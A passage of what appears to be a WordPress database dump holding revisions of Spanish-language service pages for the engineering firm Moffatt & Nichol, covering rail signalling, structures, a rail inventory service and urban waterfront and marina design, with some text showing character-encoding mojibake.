mantenimiento de vÃas a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>DiagnÃ³stico de seÃ±ales y localizaciÃ³n de averÃas</li>\r\n	<li>DiseÃ±o hidrÃ¡ulico</li>\r\n	<li>Problemas de mitigaciÃ³n medioambiental</li>\r\n	<li>DiseÃ±o de artÃculos especiales para trabajo en vÃas fÃ©rreas</li>\r\n	<li>DiseÃ±o de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con lÃneas fÃ©rreas de Moffatt &amp; Nichol integran servicios mecÃ¡nicos con la infraestructura y las prÃ¡cticas de planeamiento de la firma. Proporcionamos informes de ingenierÃa y desarrollamos recomendaciones para mÃ©todos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, asÃ como instrucciones de prueba. La firma tambiÃ©n desarrolla planos mecÃ¡nicos detallados y supervisa proyectos de reconstrucciÃ³n y rehabilitaciÃ³n de equipos, ademÃ¡s de realizar inspecciones mecÃ¡nicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensiÃ³n de su actual programa de mantenimiento. Mediante alianzas estratÃ©gicas con compaÃ±Ãas de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucciÃ³n de locomotoras y vagones, incluyendo investigaciÃ³n en nuevas tecnologÃas para incorporarlas en equipo rodante ferroviario. La firma tambiÃ©n mantiene sistemas de gestiÃ³n de documentos, incluyendo la organizaciÃ³n de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestiÃ³n de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visiÃ³n de nuestros clientes y los guÃa para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Ãšnicos en la industria, ofrecemos experiencia profesional interna en las Ã¡reas de estudios econÃ³micos y de mercado, gestiÃ³n de autorizaciones ambientales, servicios de ingenierÃa, estructuras, inspecciÃ³n y rehabilitaciÃ³n, seÃ±alizaciÃ³n y servicios mecÃ¡nicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compaÃ±Ãas de ferrocarriles Clase 1 y de lÃneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinaciÃ³n de la aprobaciÃ³n de sus programas. TambiÃ©n tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicaciÃ³n y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">seÃ±alizaciÃ³n</h1>\r\nLa seguridad nunca es mÃ¡s importante que en el lugar en que el pÃºblico y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parÃ¡metros de seÃ±ales para todos los niveles de servicio ferroviario, asÃ como novedosos mÃ©todos de ingenierÃa para seÃ±alizaciÃ³n de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehÃculos y trenes.\r\n\r\nLos estudios de seÃ±alizaciÃ³n de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>SeparaciÃ³n del trÃ¡fico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>SeÃ±alizaciÃ³n pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>ModelaciÃ³n de vÃas fÃ©rreas-carretera</li>\r\n	<li>AnÃ¡lisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinaciÃ³n de la protecciÃ³n de pasos mÃ¡s adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vÃas fÃ©rreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglÃ©s), estudios de impacto de trÃ¡fico, anÃ¡lisis de operaciones de ferrocarriles y estudios de trÃ¡nsito. Todos los cruces a nivel son diferentes y una sola aplicaciÃ³n no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protecciÃ³n para cualquier cruce a nivel.\r\n\r\nAdemÃ¡s de realizar el diagnÃ³stico de la seÃ±al y de localizar problemas de seÃ±ales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la seÃ±al FRA (AdministraciÃ³n Federal de Ferrocarriles de Estados Unidos), asÃ como pruebas del relÃ© y cable FRA, lo que incluye la documentaciÃ³n necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingenierÃa estructural de Moffatt &amp; Nichol desempeÃ±a un papel importante en el desarrollo de corredores de trenes, asÃ como en la mejora del flujo de mercancÃas mediante la consolidaciÃ³n de los cruces a nivel. La firma proporciona servicios como el principal diseÃ±ador de servicios auxiliares para proyectos de pasos a desnivel, asÃ como estructuras de puentes para ferrocarriles y estructuras de retenciÃ³n para medidas de mitigaciÃ³n sÃsmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, asÃ como con compaÃ±Ãas de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcciÃ³n de desvÃos del trÃ¡fico, desvÃos temporales de trenes (vÃas fÃ©rreas temporales), reubicaciones de equipos de servicios pÃºblicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de GestiÃ³n de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo mÃ¡s rÃ¡pida y fÃ¡cilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenÃ³ que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseÃ±Ã³ RIMS desde cero para cumplir requisitos especÃficos del programa de seguridad de cruces.\r\n\r\nRIMS es mÃ¡s que una plataforma tecnolÃ³gica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su telÃ©fono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexiÃ³n a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrÃ¡ que volver a imprimir la informaciÃ³n del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>CaracterÃsticas:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningÃºn mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayorÃa de dispositivos con conexiÃ³n a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de Ãndice de riesgo</li>\r\n	<li>Usted controla quiÃ©n tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-2','','','2012-06-15 06:47:00','2012-06-15 06:47:00','',651,'http://moffattnichol.com/spanish/651-revision-2/',0,'revision','',0),(2492,1,'2012-06-15 08:01:03','2012-06-15 08:01:03','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzó a participar en el desarrollo del frente de mar urbano a principios de la década de 1960 con la creación del puerto de Huntington en la parte sur de California. Desde que desarrolló este proyecto hace casi 50 años, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalización y el nuevo desarrollo de frentes de mar urbanos—incluyendo la evolución del puerto deportivo moderno y el diseño de puertos para pequeñas embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turísticos, parques ribereños y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuáticos, rampas para botes, paseos marítimos, amarres de buques históricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseño en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafíos involucrados al desarrollar las vías navegables y las líneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en día se convierten en catalizadores de la actividad económica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeña un papel crítico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n               <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-autosave','','','2012-06-15 08:01:03','2012-06-15 08:01:03','',58,'http://moffattnichol.com/spanish/58-autosave/',0,'revision','',0),(2493,1,'2012-05-29 05:55:42','2012-05-29 05:55:42','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzÃ³ a participar en el desarrollo del frente de mar urbano a principios de la dÃ©cada de 1960 con la creaciÃ³n del puerto de Huntington en la parte sur de California. Desde que desarrollÃ³ este proyecto hace casi 50 aÃ±os, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalizaciÃ³n y el nuevo desarrollo de frentes de mar urbanosâ€”incluyendo la evoluciÃ³n del puerto deportivo moderno y el diseÃ±o de puertos para pequeÃ±as embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turÃsticos, parques ribereÃ±os y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuÃ¡ticos, rampas para botes, paseos marÃtimos, amarres de buques histÃ³ricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseÃ±o en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafÃos involucrados al desarrollar las vÃas navegables y las lÃneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en dÃa se convierten en catalizadores de la actividad econÃ³mica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeÃ±a un papel crÃtico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n               <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-revision-4','','','2012-05-29 05:55:42','2012-05-29 05:55:42','',58,'http://moffattnichol.com/spanish/58-revision-4/',0,'revision','',0),(2494,1,'2012-06-15 08:12:20','2012-06-15 08:12:20','<div class=\"content_faq\">\r\n  <h3>servicios de frentes de mar urbanos y puertos deportivos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/crise-ship.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">instalaciones de naves de crucero</h1>\r\n     El mercado de naves de crucero es un gran componente de la industria del turismo y hay millones de pasajeros que navegan cada año. El rápido crecimiento de la industria ha causado un aumento en la construcción de naves y la consecuente necesidad de nuevas y mejoradas instalaciones para pasajeros y de atraque. Moffatt & Nichol proporciona una variedad de servicios de ingeniería y de gestión de programa para dar apoyo a los arquitectos y planificadores de terminales de naves de crucero. Estos servicios abarcan desde el planeamiento y diseño de las instalaciones para el acceso de pasajeros hasta la preparación de la documentación de la construcción para las nuevas instalaciones y para las reparaciones de las instalaciones existentes, incluyendo mejoras del dragado y la navegación. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/economic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">estudios de mercado de puertos deportivos</h1>\r\n     La clave del éxito de cualquier proyecto, nuevo o existente, es comprender la información del mercado regional y el análisis de la competencia. Moffatt & Nichol tiene la capacidad para realizar estudios económicos y de mercado a fin de ayudar a planear la instalación óptima para un mercado de puerto deportivo dado. Estos estudios tratan la perspectiva económica y de mercado de la industria del canotaje y de los puertos deportivos con un énfasis particular en el mercado regional para determinar la posición competitiva de la instalación objetivo. Nuestros análisis incluyen tendencias y pronósticos de la demanda, crecimiento demográfico y fluctuaciones de precios, escenarios de crecimiento alto y bajo de ingresos, y consideraciones económicas en la implementación de nuevos puertos deportivos y la modernización de instalaciones existentes. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/fery-termnals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">terminales de transbordadores</h1>\r\n     Los transbordadores funcionan como un importante enlace de tránsito a lo largo de muchas vías navegables urbanas. Ya sea que se trate de un servicio grande para transbordadores de autos o pasajeros, o un servicio pequeño para taxis acuáticos, Moffatt & Nichol proporciona experiencia profesional especializada en el planeamiento, análisis operativo, gestión de tráfico, diseño, estudios medioambientales, gestión de autorizaciones y construcción de terminales de transbordadores (incluyendo muelles, sistemas de amarre, trabajos auxiliares y edificios de las terminales). La firma mantiene un grupo de planificadores e ingenieros dedicados específicamente al planeamiento y diseño de terminales de transbordadores, así como ingenieros costeros e hidráulicos experimentados en el análisis y diseño de canales de navegación, incluyendo estudios de maniobras del buque y de la capacidad del canal.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/historic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">amarres de buques históricos </h1>\r\n     Una parte integral del planeamiento de frentes costeros modernos supone crear espacio para la preservación de buques históricos. Las comunidades de los frentes costeros desean conservar y perpetuar su historia marítima a través de instalaciones que permitan al público experimentar la tradición y la historia de primera mano. La restauración y el mantenimiento de buques históricos como exhibiciones interpretativas en los muelles, o buques de programación \"como en el mar”, pueden proporcionar una aula pública para estudiantes y visitantes. Moffatt & Nichol ofrece una comprensión y un enfoque singulares del diseño de instalaciones de amarre y apoyo para dichos buques históricos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/marinas.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">puertos deportivos</h1>\r\n      La larga historia de Moffatt & Nichol en la siempre cambiante industria de frentes costeros incluye el planeamiento y diseño de puertos deportivos para una cartera de proyectos en diversas ubicaciones de todo el mundo. Moffatt & Nichol responde a los desafíos presentados por cada ubicación, tales como tormentas tropicales, grandes fluctuaciones del nivel de agua, fuerzas de hielo y terremotos. A medida que los diseños de botes cambian y las demandas de atraque aumentan, Moffatt & Nichol se encuentra a la vanguardia para cubrir las necesidades de los usuarios de puertos deportivos, desde pequeñas embarcaciones hasta los mega yates, proporcionando eficientes y emocionantes destinos de puertos deportivos. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/pires.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">muelles recreacionales</h1>\r\n      Los muelles recreacionales son un gran ambiente para la pesca, la observación de aves y de personas, además de ofrecer una ubicación espectacular para observar una salida o puesta de sol. Moffatt & Nichol inspecciona, diseña y prepara la documentación de construcción para muchas de dichas estructuras en todo el mundo; desde pequeños muelles municipales fluviales hasta grandes muelles marítimos en ambas costas de los EE.UU. La firma aprovecha nuestra experiencia con el análisis de vientos, oleajes y corrientes para diseñar muelles que no solamente son servicios públicos comunitarios e históricos atractivos, sino que también pueden soportar vientos, oleajes y terremotos extremos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/resorts.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">centros turísticos</h1>\r\n     Las instalaciones de frentes costeros mejoran los destinos turísticos en todo el mundo y desempeñan un papel importante en atraer clientes y estimular un desarrollo exitoso. Moffatt & Nichol es un líder reconocido en el planeamiento y diseño de instalaciones sociales de frentes costeros y produce diseños económicamente viables y sensibles al medioambiente que dan lugar a una experiencia divertida para el usuario. Los servicios de planeamiento y diseño de frentes costeros de la firma se realizan generalmente en estrecha alianza con la compañía de diseño del desarrollador y del centro turístico para integrar completamente las características de los sectores terrestre y acuático del proyecto. Moffatt & Nichol tiene amplios conocimientos y calificaciones en evaluaciones de lugares y en el diseño de instalaciones de canotaje, playas, muelles y otros centros recreativos de frentes costeros. La experiencia profesional de la compañía se extiende a diseños sostenibles específicos para cada lugar y a soluciones innovadoras ante desafíos singulares presentados por proyectos en ubicaciones remotas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/urban-waterfronts.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">Frentes de mar urbanos</h1>\r\n     Hoy en día, muchos frentes de mar urbanos están asumiendo nuevos papeles como catalizadores del desarrollo económico en sus comunidades. Por más de 65 años, Moffatt & Nichol ha ayudado a revitalizar importantes ciudades internacionales con frentes costeros mediante la creación de espacios de uso combinado con residencias, hoteles, tiendas al por menor, cafés y restaurantes. Los proyectos incluyen un acceso mejorado al frente costero, puertos deportivos municipales y privados, paseos ribereños, malecones y muelles, creación y restauración de humedales, y espacios públicos, anfiteatros y museos marítimos. La firma proporciona servicios integrales que incluyen planeamiento, ingeniería civil, costera, estructural, mecánica y eléctrica, así como el diseño y la preparación de la documentación de la construcción. Estos servicios son complementados por especialidades tales como estudios económicos, de dragado, sísmicos y medioambientales, además de la modelación numérica y física de las vías navegables. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/waterfront-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento maestro de frentes costeros</h1>\r\n      Moffatt & Nichol regularmente presta sus servicios como representante de ingeniería marítima en equipos de diseño interdisciplinarios dirigidos por arquitectos, arquitectos paisajistas y firmas de planeamiento urbano internacionalmente aclamados que proporcionan servicios de planeamiento maestro de frentes costeros. Estos planes intentan reconectar las ciudades con las orillas de sus ríos y revigorizar las oportunidades de desarrollo y el espacio recreativo. Moffatt & Nichol proporciona ayuda con respecto de la evaluación de las instalaciones existentes, el diseño de las estructuras de los frentes costeros, la protección costera, los problemas regulatorios, los intereses de navegación comerciales y los estudios de mercados marítimos, así como las consideraciones para canotaje recreativo, amarres de buques históricos, taxis acuáticos y posibilidades de utilización de transbordadores.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de frentes de mar urbanos y puertos 